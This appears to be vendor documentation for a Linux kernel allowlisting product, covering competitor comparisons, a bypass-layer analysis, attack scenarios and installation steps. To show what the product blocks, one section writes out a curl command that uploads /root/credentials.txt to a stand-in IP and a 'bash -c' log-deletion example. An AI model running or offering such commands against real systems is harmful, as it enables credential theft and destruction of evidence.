The Setup Mode gap. seL4 has no learning phase. Token grants are designed at system build time by the developer who builds the system. There is no “observe what this service actually needs at runtime, then derive its policy” workflow. Root Lock by HeartSuite’s Setup Mode is the practical answer for standard infrastructure: run the system, record every access in the Dashboard queues, review and approve, then engage Lockdown. For any environment running standard Linux software, Root Lock by HeartSuite’s Setup Mode provides the observe-and-build path that seL4 cannot offer.

The policy-integrity gap. seL4 has no policy database; authority is the token set, which is structural. Root Lock by HeartSuite maintains an allowlist database, and Lockdown seals it: chattr +i across the relevant paths plus a kernel flag that blocks chattr via the ioctl hook at runtime, preventing any running program from modifying the allowlist. The two approaches defend at different layers: seL4 makes authority impossible to forge; Root Lock by HeartSuite makes the allowlist impossible to modify after Lockdown engages.

Platform. seL4 is not a Linux kernel; standard Linux software requires a full porting effort to run on it. Root Lock by HeartSuite targets Linux 5.19.6 and 6.18 and is installed by replacing the kernel on an existing host.

The two approaches make opposite foundational choices: build the OS from a proof up, or enforce on the software stack that already exists. For commercial infrastructure running standard Linux software, Root Lock by HeartSuite is the option that ships.

Object-capability operating systems

Fuchsia (Google) is a production operating system built on Zircon — a microkernel where every resource is accessed through an unforgeable handle. Like seL4, its security model is structural: no handle means no access, at the kernel boundary, before any policy database is consulted. Fuchsia adds two architectural properties that seL4 does not emphasize: per-component private namespaces and cryptographic verification of every executable.

Private namespaces. In Fuchsia, each component receives an explicitly assembled filesystem view — its /svc/, /data/, and /pkg/ entries are handle-routed by the Component Framework. There is no global root filesystem visible to all components. A compromised component cannot traverse upward to discover paths it was not given handles to; those paths do not exist in the component’s view. Root Lock by HeartSuite enforces on a global Linux filesystem. Root Lock by HeartSuite controls whether a program can access a given path, but the path still exists and an access attempt returns an error rather than silence. Root Lock by HeartSuite’s global filesystem is what makes existing Linux software run unchanged — the same choice that allows deployment on any existing Linux server.

Cryptographic integrity. Fuchsia verifies every executable through BlobFS — a storage layer where each file is identified by its hash and verified before execution. Replacing a binary silently is structurally impossible. Root Lock by HeartSuite seals the allowlist database and critical system paths at Lockdown with chattr +i filesystem immutability plus a kernel flag that blocks any running program from clearing those flags — no program, including root, can modify the allowlist or the protected system paths while Lockdown is active. Full cryptographic verification at boot requires building the OS around content-addressed storage from scratch. Root Lock by HeartSuite’s Lockdown provides runtime tamper-resistance on the Linux infrastructure already in production.

The Setup Mode gap. Fuchsia has no learning phase and no operator-facing allowlist tooling for standard server software — because standard server software does not run on Fuchsia. Root Lock by HeartSuite’s Setup Mode records what each binary does; you review and approve through the Dashboard queues, then engage Lockdown. The workflow exists because Root Lock by HeartSuite deploys on the software stack already running in production.

Platform. Fuchsia targets embedded devices and consumer hardware. It is not a Linux kernel and has no server deployment path. Root Lock by HeartSuite targets Linux 5.19.6 and 6.18 server deployments and is installed by replacing the kernel on an existing host.

Fuchsia’s security architecture is more restrictive at every layer: per-component namespaces, cryptographic verification, handle-only access, userspace drivers. Root Lock by HeartSuite provides enforced per-program allowlisting on existing Linux deployments without rebuilding the OS. For any organization running Linux infrastructure today, Root Lock by HeartSuite is the option that deploys.

Trust boundaries and bypass surface

Three questions cut to the core of any enforcement mechanism: who is trusted to set the policy, who is gated at runtime, and what does a bypass look like?

graph LR
    A[Attacker gains root] --> B["eBPF agent\n(Falco, Tetragon)"]
    A --> C["LSM framework\n(AppArmor, SELinux)"]
    A --> D["seccomp sandbox\n(bubblewrap, firejail)"]
    A --> E["Linux EDR agent\n(CrowdStrike, SentinelOne)"]
    A --> F["Root Lock by HeartSuite"]
    B --> G["Kill agent or\nunload BPF program"]
    C --> H["Set permissive or\nreload policy"]
    D --> I["Launch same binary\nwithout the filter"]
    E --> J["Kill driver or\nBYOVD bypass"]
    F --> K["Physical presence\nrequired"]
    G --> L["Protection disabled ✗"]
    H --> L
    I --> L
    J --> L
    K --> M["Protection intact ✓"]

The table below answers each question in full for the main enforcement mechanisms alongside Root Lock by HeartSuite.

Two differences carry the position. Every mechanism above narrows the runtime trust boundary to a subset of processes — one container, one labelled domain, one process tree, one observed program. Root Lock by HeartSuite narrows it to every program via a system-wide allowlist, root included. And where every competitor’s bypass is something an attacker can do remotely once they have root, Root Lock by HeartSuite’s bypass requires physical presence at the console. Those two shifts are the substance of the Root Lock by HeartSuite position.

The May 2026 TanStack npm attack illustrated the trust-boundary distinction from the supply chain direction. The attacker operated inside a legitimate build pipeline using valid credentials — SLSA provenance, OIDC, and 2FA all functioned as designed. No credential check or trust-chain verification registered anything to block. Root Lock by HeartSuite’s per-program network allowlist bounds what pipeline processes can reach from the host regardless of credential validity; connections to unapproved destinations are refused at the kernel.

What Root Lock by HeartSuite complements

These products do not overlap with Root Lock by HeartSuite. They answer different questions, and mature security programs run both.

Every allowlist approval action (programs, file paths, and network destinations) is written to a dedicated, persistent JSONL log that records timestamp, uid, and tty. This gives a machine-readable, session-attributable history of policy changes. An always-on rotating application audit log records UI and core operational events and errors. Lockdown advisories are generated from verdict logic with direct provenance back to the underlying allowlist state and decision records rather than from unfiltered event dumps. The combination of the per-decision enforcement stream, the dedicated approval log, and the application audit log produces a reconstructible record that security teams and auditors can use to trace what the system did, when, and why. | NDR / NTA | Darktrace, ExtraHop Reveal(x), Vectra AI, Corelight, Cisco Secure Network Analytics, FortiNDR | Passive network sensing, behavioural flow analysis, lateral-movement detection, encrypted-traffic fingerprinting | Root Lock by HeartSuite controls which programs reach which destinations. Traffic content, behavioural flow analysis, and cross-host correlation are what NDR is built for. | | Vulnerability management | Tenable Nessus, Qualys VMDR, Rapid7 InsightVM, Greenbone, Wiz, Orca | Enumerate installed packages and services, match against CVE databases, produce a prioritised patch list | Root Lock by HeartSuite reduces the blast radius of an unpatched CVE — a vulnerable but allowlist-bounded program cannot escalate beyond its allowlist. Mapping what needs patching is what vulnerability scanners are built for, and SOC 2, PCI DSS, and ISO 27001 require them as a distinct control. Agent-based scanners (Tenable Nessus Agent, Qualys Cloud Agent) run as allowlisted programs — run the scanner during Setup Mode so HS logs its programs and file access paths, then review and approve the entries through the Dashboard queues. Network-based scans from an external host reach the HS system over its normal network stack without special configuration. | | HIDS / FIM | OSSEC, AIDE, Tripwire, Samhain, Wazuh | File-integrity monitoring, log-based intrusion detection, rootkit signatures | Root Lock by HeartSuite enforces file integrity via Lockdown; HIDS adds independent alerting on unexpected change. Redundancy matters — different products have different failure modes. |

Root Lock by HeartSuite makes a class of attacks impossible rather than merely visible. Your SIEM, NDR, and VA scanner work on what remains — a smaller, more focused set of events.

Where a separate kernel is required

Some software depends on kernel features the Root Lock by HeartSuite kernel does not include. Those workloads run on the Non-HS kernel or a separate system:

• Kubernetes nodes where new containers start or pods reschedule after Lockdown engages — running many instances of the same binary across pods is explicitly supported: one allowlist entry covers all instances, with no per-pod overhead. Root Lock by HeartSuite installs on Kubernetes nodes (EKS, GKE, AKS) without modification. The limitation is container lifecycle events after Lockdown: HPA scale-out, pod rescheduling after node failure, and new container starts each require mount operations that Lockdown refuses. If the pod set is fixed before Lockdown engages and doesn’t change between maintenance windows, the Container-host install supports that; see Deployment Scenarios → Container Hosts
• Falco, Cilium Tetragon, bpftrace, and similar eBPF tools — the BPF syscall is not compiled in; removing it is what prevents an attacker from unloading these tools. They can still observe the HS host from adjacent infrastructure via network taps or log forwarding
• Hypervisor hosts running virtual machines via KVM — KVM host mode is not a supported configuration; the kernel features KVM requires have been compiled out to reduce the features attackers can reach. Root Lock by HeartSuite runs as a VM guest on KVM and other hypervisors — it does not host them.
• Systems that require rootless containers (unprivileged user namespaces) — unprivileged user namespaces are not compiled in; they are a path to privilege escalation without credentials. Workloads requiring rootless containers should run on a separate host.

See System Requirements → Software Compatibility Notes for the full list.

Circumvention and recovery

Every security system has a known way to be taken out of the picture. Being explicit about it is how customers evaluate fit.

Root Lock by HeartSuite’s allowlist can be changed through one path only:

1. Maintenance window — you switch to Setup Mode, make changes, and re-engage Lockdown. Logged and intentional.
2. Lockdown recovery — when Lockdown is active, the allowlist cannot be edited even by root on the Root Lock by HeartSuite kernel. Recovery requires booting the Non-HS kernel, using the Dashboard’s Maintenance ([t]) to remove the seal, and rebooting back. Booting the Non-HS kernel requires physical presence — a keyboard and monitor at the machine, a serial port, or your cloud provider’s serial console. An attacker without physical presence cannot take this path.

What this means for security:

• Remote root alone is not sufficient to defeat enforcement. There is no agent to kill, no kernel module to unload, no LSM policy to set permissive, and no way to remotely force a reboot into the Non-HS kernel.
• Defeating Root Lock by HeartSuite requires physical presence — a keyboard and monitor at the machine, a serial port, or your cloud provider’s serial console. SSH access, regardless of privilege level, is not sufficient.
• Physical presence always returns control to you — no software applied to the system can prevent it.

Compare this to the products in the first table: in most of them, remote root is sufficient to disable enforcement. Root Lock by HeartSuite is deliberately not in that category.

Nothing the attacker ran survives a reboot.

To see the three enforcement mechanisms tested against real attacks — including what happens when attackers stay within approved boundaries — see When Root Isn’t Enough.

The compliance answer. SOC 2, PCI DSS, and ISO 27001 each include a privileged-access control question: can an administrator, or an attacker who has compromised one, remotely disable security controls? Under Lockdown, no remote path — including root — can modify the allowlist or disable enforcement. Bypass requires the physical presence described above. Every product in the bypass table earlier in this page can be disabled by an attacker with remote root; Root Lock by HeartSuite cannot. For managed security providers, this is the answer they give to auditors — the same for every HeartSuite-protected server they manage in financial services, healthcare, and defence.

1.6 - Security as Economics

No security control is unconditionally unbreakable. The right question is not “can this be defeated?” but “what does defeating it cost the attacker — and what does operating it cost the defender?”

No false positives in blocking. In Lockdown, Root Lock by HeartSuite does not scan, score, or guess. A program either has an allowlist entry for the action it is attempting, or it does not. Permitted actions pass without interruption. Unpermitted actions are blocked. Every blocking decision is exact — not a detection estimate.

The boundary holds regardless of privilege. A process running as root can only reach the files its allowlist entry permits. Credentials, configuration, and data outside that slice are unreachable regardless of privilege level. Network destinations outside the allowlist are unreachable regardless of privilege level. Under Lockdown the allowlist itself is sealed — even root cannot edit it remotely. Each additional step the attacker takes requires a new custom exploit targeted at the specific program and allowlist slice they are confined to. The cost compounds. At some point the attack is no longer worth finishing.

Cost to implement. A finite window: run the programs you want to allow, the allowlist builds, engage Lockdown. Most customers complete it during a standard change window.

Operational cost

Patching urgency. CVE classes that correspond to compiled-out kernel features do not generate emergency patch windows — the feature is absent, and no CVE in that class applies regardless of when the patch ships. For CVEs in features that are present, a vulnerable program whose allowlist scope is bounded has a structurally limited blast radius. The remediation is real; the urgency is not. Patch batching on schedule, rather than emergency change windows, is the practical result.

Alert reduction. An attack that cannot progress past the kernel gate does not generate a SIEM or EDR alert. A binary that cannot execute never triggers a process-execution event. An outbound connection refused at the kernel never appears in NDR telemetry as a beacon or data-loss event. This is not alert filtering — the event never occurs. The alert classes this eliminates carry the highest triage cost: unauthorized execution, unauthorized exfiltration, and novel outbound destinations.

Maintenance. No signature updates. No rule libraries. No agent fleet. The allowlist changes when software legitimately changes — new binaries, updated dependencies, changed network destinations — in a maintenance window on your schedule. The more frequently software changes, the more frequently those windows are needed. For software that updates daily — package managers pulling live repositories, or applications shipping a new binary on each release — a maintenance window is required each time. That is low overhead on monthly or quarterly patch schedules; at daily cadence it compounds. Root Lock by HeartSuite fits well where the software stack is stable or follows a defined update process.

ROI compared

SELinux and AppArmor. LSM policy is a sustained engineering cost: SELinux refpolicy domain authoring, AppArmor profile maintenance, permissive-mode exceptions that accumulate under operational pressure, and policy audits before each OS upgrade. Each policy file is hand-authored and must be updated when software changes. Root Lock by HeartSuite’s allowlist is built by observation during Setup Mode — the kernel records what programs actually do and presents it for approval. The difference compounds over years: one observation-driven setup session versus ongoing policy authorship and drift management.

Zafran and risk-prioritization tools. Zafran, Nucleus, Vulcan Cyber, and similar tools correlate CVEs against your deployed controls to identify which patches are actually urgent. They do not enforce anything at runtime. Root Lock by HeartSuite reduces the urgency of items these tools surface: an unpatched CVE in a program whose allowlist scope is bounded has a structurally limited blast radius — a legitimate but lower-priority remediation. The two compose: a risk-prioritization tool can correctly de-prioritize CVEs in Root Lock by HeartSuite-bounded programs because the enforcement is verifiable and the blast radius is documented.

Linux EDR. CrowdStrike Falcon, SentinelOne, and Microsoft Defender for Endpoint generate alerts that require analyst triage. The attack classes Root Lock by HeartSuite prevents — unauthorized binary execution, file access outside approved scope, outbound connections to unapproved destinations — never reach the EDR because the attack cannot progress past the kernel gate. Fewer alerts is not filtering; it is that the attack class is structurally absent from the host. EDR’s telemetry, behavioural analytics, and incident response capabilities remain valid for what Root Lock by HeartSuite does not cover. The honest position: Root Lock by HeartSuite changes what the EDR has to process, not whether you run one.

Cost to buy. Root Lock by HeartSuite replaces the preventive-enforcement layer of several overlapping tools, leaving detection and response capabilities intact. What that means in practice for each category:

• Commercial eBPF enforcement tools (Sysdig Secure, commercial Falco, Cilium Tetragon) — Root Lock by HeartSuite removes the BPF syscall; these cannot run on the HS kernel, and their enforcement is covered by the allowlist. These are budget lines that can be removed.
• gVisor — if you are running it solely to protect workloads from root-level compromise inside a container or VM, Root Lock by HeartSuite is a direct replacement as the guest kernel. No second userspace kernel layer.
• The blocking dimension of Linux EDR (CrowdStrike Falcon, SentinelOne, MDE) — prevention is replaced; telemetry, behavioural analytics, and SOC console are not. Some vendors offer lighter-tier pricing for telemetry-only deployments.
• AppArmor and SELinux — no licensing cost, but the policy-authoring overhead is real; see the SELinux comparison above.

Whether the licensing savings cover the Root Lock by HeartSuite subscription depends on your current stack. The operational consolidation — no signature updates, no rule libraries, no agent fleet — is consistent regardless.

CTEM programs — Continuous Threat Exposure Management — cover exposure discovery, prioritisation, and validation across a whole estate: continuously mapping what an attacker could reach and ranking what to fix first. That scope fits large organisations managing complex, heterogeneous environments. For most deployments it is broader than the problem and carries corresponding cost. Root Lock by HeartSuite addresses one specific problem: the OS design assumption that grants every running program the file and network rights of the user who launched it. Removing that assumption at the kernel level does not require a continuous discovery and ranking program.

The CISO case. An attacker who reaches root still cannot exceed the per-program, per-file, per-IP boundaries already in place. The blast radius is structurally bounded — not detected after the fact, not mitigated after the fact, bounded before anything runs. That changes the economics of every attack that reaches the host. It does not eliminate breach risk. It makes lateral movement, exfiltration, and privilege escalation substantially more expensive to execute — before detection has a chance to respond.

1.7 - Linux Security Layer Analysis

Purpose: Security audits and competitive evaluations often group products by vendor category — EDR, SIEM, NDR — without capturing where in the kernel stack enforcement actually happens. This page maps Linux host security products to the enforcement layer they occupy. Layer placement determines bypass surface: a product enforcing at Layer 2 cannot be disabled by a mechanism that only reaches Layer 3 or above.

Layer definitions

The higher the layer, the more layers beneath it an attacker can leverage to disable it. A Layer 5 agent can be killed by a process with root. A Layer 3 LSM policy can be set permissive by root. A Layer 2 kernel configuration cannot be changed without rebooting into a different kernel. For a visual representation of this by product, see Kernel architecture.

Product map

Layer 2 — Kernel-embedded enforcement

Enforcement is part of the kernel binary. Changing it requires a reboot into a different kernel. Remote root is not sufficient to disable it.

Layer 2–3 — Userspace-process-run-as-kernel

gVisor intercepts container syscalls in a userspace process that acts as the container’s kernel, reducing exposure to the host kernel. The sentry process runs in userspace and can be compromised; a bug in its syscall emulation can allow escape. Root Lock by HeartSuite running as a guest kernel inside a gVisor-isolated container is a coherent composition — see How It Compares → gVisor.

Layer 3 — LSM hooks (in-tree)

Policy is applied to a running kernel from outside. Root with the right capability can set SELinux permissive, unload an AppArmor profile, or modify a policy file without rebooting.

Layer 3 — LSM hook + eBPF programs

eBPF programs are loaded into a running kernel at runtime. Root can unload the BPF program or kill the agent that loaded it.

Layer 3–5 — eBPF observability with optional in-kernel kill

These products span layers depending on configuration: eBPF programs run at Layer 3, the userspace agent sits at Layer 5. The kill capability (where present) runs in-kernel but is loaded and managed by a userspace process.

Layer 4 — Userspace agent sandbox

These tools set up confinement using kernel primitives (seccomp-bpf, Linux namespaces) from userspace. Filters are scoped to a process tree launched by the agent — a sibling process launched without the agent is unaffected.

Layer 5 — Agent-based EDR / XDR

The agent provides detection and response capabilities that Root Lock by HeartSuite does not replicate. Most modern breaches include “disable EDR” as an early step — root can kill the agent process, unload the kernel module, or exploit a BYOVD path. Treat these as complementary to Layer 2 enforcement, not substitutes.

Complementary controls (no enforcement overlap)

These products do not overlap with Layers 2–5 enforcement. They answer different questions and should run alongside host enforcement.

Takeaway

Root Lock by HeartSuite is the only product in this map sitting squarely at Layer 2 as a kernel-embedded allowlist enforced across all programs including root. Every other host enforcement product sits at Layer 3 (LSM hooks, eBPF programs) or higher — meaning a sufficiently privileged attacker can disable it remotely without rebooting. The Layer 2 position is what makes physical presence the only bypass path.

For the product-by-product comparison with bypass analysis, see How It Compares.

1.8 - When Root Isn't Enough

Overview: Every attack does three things: run a program, access files, make a network connection. Root Lock by HeartSuite controls all three — per program, not per user. Each section below targets one of these three mechanisms with a real attack. Every example involves root access. In each case, root is not enough.

Each attack below was actively exploited within days of its disclosure. The gap between a vulnerability being published and attackers using it has collapsed to hours, not weeks. Patching cannot keep pace. Root Lock by HeartSuite’s enforcement blocks these attacks regardless of whether the vulnerable software has been patched — because it gates what each program can reach, not whether a vulnerability exists.

A new program tries to run

The attack. An attacker gains a foothold on a server — a compromised web application, a stolen credential, a misconfigured service. Their next move is to get more capability. They download a tool: a reconnaissance script, a credential dumper, a reverse shell. On a standard Linux server, a file downloaded to /tmp is executable the moment it arrives. As root, there are no further gates.

What Root Lock by HeartSuite does. Every program must have an allowlist entry before the kernel will run it. A file downloaded to /tmp has no entry — it was never observed during Setup Mode, never reviewed, never approved. The kernel refuses to execute it. The attacker has a file. They cannot run it.

This applies equally to interpreted scripts. A malicious Python script dropped at /tmp/attack.py has no allowlist entry for that path. Root Lock by HeartSuite’s Secure Script Launchers give each script its own allowlist entry, separate from the interpreter. Python runs. The unauthorized script does not.

What it does not cover. If the attacker already controls an approved program and issues commands within that program’s approved scope, this particular gate does not apply. The other two still do: the program can only read and write files in its allowlist, and only connect to destinations in its network allowlist. And every attempt to launch a new program returns to this gate — any new program without an allowlist entry is blocked. See When Attackers Stay Within Approved Boundaries for the full picture.

An approved program reads what it shouldn’t

The attack. CVE-2021-41773 — Apache HTTP Server 2.4.49. A flaw in how Apache validates URL paths allows an attacker to craft a request that escapes the web root. Apache fetches and returns arbitrary files from the filesystem. The attacker requests /etc/passwd. Apache reads it and returns it. No authentication required.

The traditional defense — run Apache as www-data with limited permissions — does not help when the attacker targets files that www-data can legitimately read. On most systems, /etc/passwd is world-readable by design.

What Root Lock by HeartSuite does. Apache’s allowlist entry defines exactly which files and directories it can read. /etc/passwd is not in that list — Apache was never observed reading it during Setup Mode, because a correctly configured web server never needs to. When the crafted request causes Apache to attempt to open /etc/passwd, the kernel refuses. The path traversal works as a URL trick. It fails as a file operation.

The question is not whether the system user can read /etc/passwd. The question is whether this specific program — Apache — is approved to read it. It is not.

The same mechanism applies to binary replacement. If an attacker with root tries to overwrite /usr/bin/whoami with a malicious script, the write is blocked — because the program issuing the write does not have /usr/bin/whoami in its file write allowlist. Root privilege does not override this check.

What it does not cover. If the attacker targets only files the compromised program is already approved to read, this gate does not apply. The other gates still do: writes outside the approved paths are still blocked, every outbound connection is still gated by the network allowlist, and any new program the attacker tries to run is blocked at the program gate. See When Attackers Stay Within Approved Boundaries for the full picture.

An approved program sends data it shouldn’t

The attack. An attacker on a server uses curl — a standard utility present on nearly every Linux system — to send data out:

curl -X POST --data-binary "@/root/credentials.txt" http://203.0.113.42/upload

On a standard server with root access, this works. curl reads the file, opens a socket to the destination, and uploads the contents. The data leaves.

What Root Lock by HeartSuite does. Two checks activate, independently. First, /root/credentials.txt is not in curl’s file access allowlist — curl was never approved to read files from /root. The read fails before a connection is attempted. Second, even if curl could read the file, 203.0.113.42 is not in curl’s network allowlist. The socket is refused.

Either check alone stops the exfiltration. Both activate. The result is the same whether the attacker uses curl, wget, a raw /dev/tcp connection, or logger forwarding to a remote syslog server — the mechanism is identical for all of them: a socket to a non-allowlisted IP is refused, regardless of which tool asks and regardless of privilege level.

Log4Shell (CVE-2021-44228) shows the same gate working in reverse. The attack works by causing a vulnerable application to reach out to attacker-controlled infrastructure to fetch and run malicious code. That outbound request — to a server not in the application’s network allowlist — is refused. The code never arrives. The attack ends at the network gate before anything executes.

Scope. Network allowlisting controls which programs can reach which destinations. What they send over those approved connections is the domain of your network detection tools — see the complementary table in How Root Lock by HeartSuite Compares. Even when an attacker uses an approved program’s approved connection, the program still cannot reach destinations outside its network allowlist, read or write files outside its file allowlist, or launch a new program — see When Attackers Stay Within Approved Boundaries for the full picture.

When attackers stay within approved boundaries

Root Lock by HeartSuite enforces three things per program. An attacker who stays entirely within those approved boundaries is constrained — but not stopped. Each scenario below shows what remains enforced even then, and which defenses handle the rest.

Prompt injection. An attacker embeds instructions in content the program processes — a document, a web page, an API response. The program follows them. Root Lock by HeartSuite sees an approved program doing approved things. File access and outbound connections remain gated. The attack is in the meaning of the content — content-layer defenses are what handle content-layer attacks.

Command injection inside an approved interpreter. If bash is on the allowlist and an attacker causes an approved program to call bash -c 'rm /var/log/*', the command runs within bash’s approved file scope. File access outside that scope is still blocked. What runs inside an approved interpreter is not inspected — tight allowlist scope limits the damage.

Backdoored programs that are already on the allowlist. vsftpd 2.3.4 (CVE-2011-2523) shipped with a backdoor compiled in — connecting with a username containing :) opens a listener on port 6200 and hands the attacker a root shell. If vsftpd is on the allowlist, the backdoor activates inside vsftpd’s own process: no new binary executes, no outbound connection is made, and no file access outside vsftpd’s approved scope occurs. Root Lock by HeartSuite limits what the attacker can do with that shell — file reads and outbound network connections remain gated. A program already approved to run can exercise its approved permissions, including ones a backdoor author planned for.

Attacks within a program’s approved scope. A compromised web server that reads only files it is already approved to read, and connects only to destinations already in its network allowlist, operates within its allowlist. Every file outside that scope is still blocked. Every connection to an unapproved destination is still refused. Tight allowlisting limits the blast radius — and under Lockdown, the kernel blocks any program (including root) from reaching backup files, so previous versions remain intact and restorable from the Dashboard’s Backup.

Under Lockdown, the kernel controls three things per program — whether it can execute, which files it can read or write, and which network destinations it can reach — and holds those controls regardless of user privilege, including root. The allowlist is sealed — immutable on disk, refused at runtime by the kernel itself: no program or user, including root, can modify it while the system is running. The backup files are protected by the Root Lock by HeartSuite kernel itself, not by filesystem permissions. Nothing the attacker ran survives a reboot.

For detection and response when an attack stays within approved boundaries, see How Root Lock by HeartSuite Compares — specifically the complementary tools table covering SIEM, NDR, and EDR. For the economics of this attack model — what it costs the attacker to work through each boundary — see Security as Economics.

2 - Getting Started

Overview: Root Lock by HeartSuite runs on two paths — Cloud (pre-installed instance, Dashboard appears on first login) and Local (manual installation with multiple reboots). Both converge at the Dashboard after Phase 1.

Before you begin

Check Before You Begin for system requirements and prerequisites, then follow your path below.

Cloud Path

Launch a pre-installed Root Lock by HeartSuite cloud instance (AWS AMI, GCP image). No download or kernel installation required — boot directly into Setup Mode and the Dashboard appears on first login. Follow the Suggested Next Step to begin Phase 2.

Local Path

Install Root Lock by HeartSuite on bare-metal or a custom VM:

1. Obtaining Root Lock by HeartSuite — download the installer from heartsecsuite.com.
2. Installation Part 1 — verify the download, run the installer, and reboot into the Root Lock by HeartSuite kernel.
3. Installation Part 2 — complete the System Setup through multiple reboot cycles until the Dashboard confirms Phase 1 is complete.
4. Verifying Installation — confirm Phase 1 is complete in the Dashboard.

Once Phase 1 is complete, both paths merge — the Dashboard shows your current phase and the Suggested Next Step directs you to begin allowlisting.

2.1 - Before You Begin

Overview: Two setup paths: Cloud (boot a pre-installed instance) or Local (install the kernel yourself). Confirm the requirements below match your system, then follow your path.

System requirements

• Operating System: Debian 11, 12, or 13; Ubuntu-derived; Alpine Linux; or RPM-based (RHEL, Fedora, CentOS, Rocky Linux, AlmaLinux, SUSE) — on x86 architecture.
• Access Level: Root access (sudo privileges).
• Skills: Basic familiarity with the Linux command line.

If your setup differs, check the Introduction for compatibility details.

Choosing your setup path

• Cloud Path: Launch a pre-installed Root Lock by HeartSuite cloud instance (AWS AMI, GCP image). No download or kernel installation required — you boot directly into Setup Mode and the Dashboard appears on first login.
• Local Path: Download the installation package from heartsecsuite.com, extract, install the Root Lock by HeartSuite kernel, and complete the Installation setup through multiple reboot cycles before reaching the Dashboard.

Both paths merge at the Dashboard after Phase 1 (System Verification) is complete.

Ready to install?

• Local Path: proceed to Obtaining Root Lock by HeartSuite.
• Cloud Path: launch your instance — the Dashboard appears on first login and confirms Phase 1 is complete.

3 - Obtaining and Installing Root Lock by HeartSuite

Overview: Root Lock by HeartSuite installation follows one of two paths depending on your deployment method. Both paths end at the Dashboard, where Phase 1 (System Verification) confirms that the system is ready for allowlisting.

Cloud Path

Launch a pre-configured cloud instance (e.g., AWS AMI, GCP image). The Root Lock by HeartSuite kernel is already installed and the Dashboard confirms Phase 1 is complete on first boot and appears immediately — skip ahead to the allowlisting queues.

Local Path

Run a single install command, then reboot multiple times to build the initial allowlist of startup and shutdown programs. This path involves:

1. Obtaining Root Lock by HeartSuite — Run the install command.
2. Installation Part 1 — Run the installer and reboot to load the kernel.
3. Installation Part 2 — Complete the System Setup steps to allowlist startup and shutdown programs.

After the final reboot cycle, the Dashboard appears and displays the Suggested Next Step to guide you into Phase 2 (Program Allowlisting).

3.1 - Obtaining Root Lock by HeartSuite

Overview: Install Root Lock by HeartSuite with a single command.

Run the following command on the target system:

curl -fsSL https://get.heartsecsuite.com/get-heartsuite.sh | sudo sh

The script downloads and installs the Root Lock by HeartSuite kernel, tools, and Dashboard, then reboots automatically. Proceed to Installation Part 1 after the reboot.

3.2 - Installing Root Lock by HeartSuite – Part 1

Overview: After running the install command, the system reboots into the Root Lock by HeartSuite kernel.

Reboot into the Root Lock by HeartSuite kernel

The installer sets the HeartSuite kernel as the default boot target and reboots automatically. A 5-second countdown appears — press Ctrl+C to cancel if you need to inspect logs before rebooting.

After reboot, Root Lock by HeartSuite reads the startup and shutdown logs and adds those programs to the allowlist automatically. Continue with Installation Part 2.

If the system does not boot into HeartSuite

If the system boots to the wrong kernel or hangs:

1. Verify the installer completed without errors before the reboot fired.
2. Reboot and select the HeartSuite kernel from the GRUB menu manually.

If the issue persists, contact HeartSuite support — we’re happy to help.

3.3 - Installing Root Lock by HeartSuite – Part 2

Overview: No commands are needed after the first boot into the Root Lock by HeartSuite kernel. Root Lock by HeartSuite reads the startup and shutdown logs and adds the programs it finds to the allowlist — the Dashboard appears when this is complete and directs you into Phase 2 (Program Allowlisting).

What happens after the first boot

Root Lock by HeartSuite reads the startup and shutdown logs, adds the programs it finds to the allowlist, and reboots. This repeats until no new programs are found — typically three to five passes, depending on the distribution.

While setup is running, you will see:

• Over SSH: each time you reconnect, the login shows a brief status line and drops you at a regular shell — no action needed:

  HeartSuite Phase 1 is running — step N of unknown total.
  The system reboots automatically. Reconnect in a few minutes.
  

• On the serial console (virsh console, AWS/Azure/GCP serial console, IPMI SOL): attach and press Enter — the console autologs in and shows the current step. No action needed.

The first time you connect and the Dashboard appears, setup is complete. The Dashboard shows the reboot history and the Suggested Next Step directs you into Phase 2 (Program Allowlisting).

If the Dashboard does not appear

If setup is still running, SSH reconnects show the status line above instead of the Dashboard. Wait a few minutes and reconnect.

If repeated reconnects still show the status line rather than the Dashboard:

1. Open the serial console (virsh console <vm> for KVM, AWS/Azure/GCP serial console, IPMI SOL) and press Enter to see the current step. If it has not advanced across reboots, run journalctl -u heartsuite-phase1 to see the setup output.

2. Verify the Root Lock by HeartSuite kernel is loaded:

   uname -r
   

   Expected output ends in HeartSuite (for example, 6.18.9-HeartSuite-1.0).

3. If the wrong kernel booted, reboot and select the HeartSuite kernel from the GRUB menu manually.

If setup stops with an error

If something goes wrong during setup, the next login shows an error with the reason and the last output from the setup process.

Two options are available:

• [r] Retry — restarts the setup from where it stopped.
• [q] Open shell — drops you to a shell to investigate before retrying.

When the Dashboard appears and Phase 1 is confirmed, continue to Verifying Installation.

4 - Verifying Installation and Basic Setup

Overview: Phase 1 (System Verification) confirms that Root Lock by HeartSuite is active and the system is ready for allowlisting. On the Cloud Path, the Dashboard confirms Phase 1 is complete on first boot. On the Local Path, the Dashboard confirms Phase 1 is complete once the installation process is done.

Cloud Path and Local Path

Cloud Path

When you launch a pre-installed Root Lock by HeartSuite cloud instance, the Dashboard confirms Phase 1 is complete on first boot and suggests the next step.

Local Path

After completing the local installation process (download, GRUB preparation, kernel install, and the System Setup’s multiple steps), the Dashboard appears once Phase 1 is complete. From here, both paths proceed identically.

What the Dashboard shows

When Phase 1 is complete, the Dashboard confirms:

• Protection state (indicator at the top): Shows SETUP MODE — Root Lock by HeartSuite is active, logging only, nothing blocked
• Phase Progress: Shows Phase 1 as Complete
• Status line at the bottom: Shows kernel type (HS), current mode, time in mode, and lockdown status
• Suggested Next Step: Directs you to begin Phase 2: Program Allowlisting

No user action is required and no manual verification command is needed. The Dashboard confirms this automatically.

Protection state

The protection state indicator appears as a full-width, high-contrast bar at the top of the Dashboard. Its content depends on the current system state:

Status line at the bottom

Below the protection state indicator, a status line shows:

Kernel: HS    Mode: Setup — active for 3d 7h    Lockdown: —

• Kernel: HS (Root Lock by HeartSuite kernel) or Non-HS (standard kernel)
• Mode: Setup or Secure, with time in current mode
• Lockdown: — (Setup Mode), Not applied (Lockdown without immutable seal), or Applied (Lockdown with immutable seal)

What to do if verification fails

If Phase 1 does not complete, or the indicator at the top shows a state you did not expect (for example, “NON-HS KERNEL” when you intended to boot Root Lock by HeartSuite):

1. Check the status line at the bottom of the Dashboard — it shows the kernel type (HS or Non-HS). If it shows Non-HS, reboot and select the Root Lock by HeartSuite kernel from the GRUB menu.

2. Check that the Root Lock by HeartSuite systemd service is running:

   systemctl status heartsuite
   

3. For local installations, verify that the System Setup completed — it shows Setup Complete in green when all startup and shutdown programs have been allowlisted. If not, return to the System Setup and press [a] to run another step.

4. If the Dashboard shows “UNKNOWN STATE — protection status cannot be determined”, follow the Suggested Next Step displayed on the Dashboard.

5. If the issue persists, contact support at support@heartsecsuite.com.

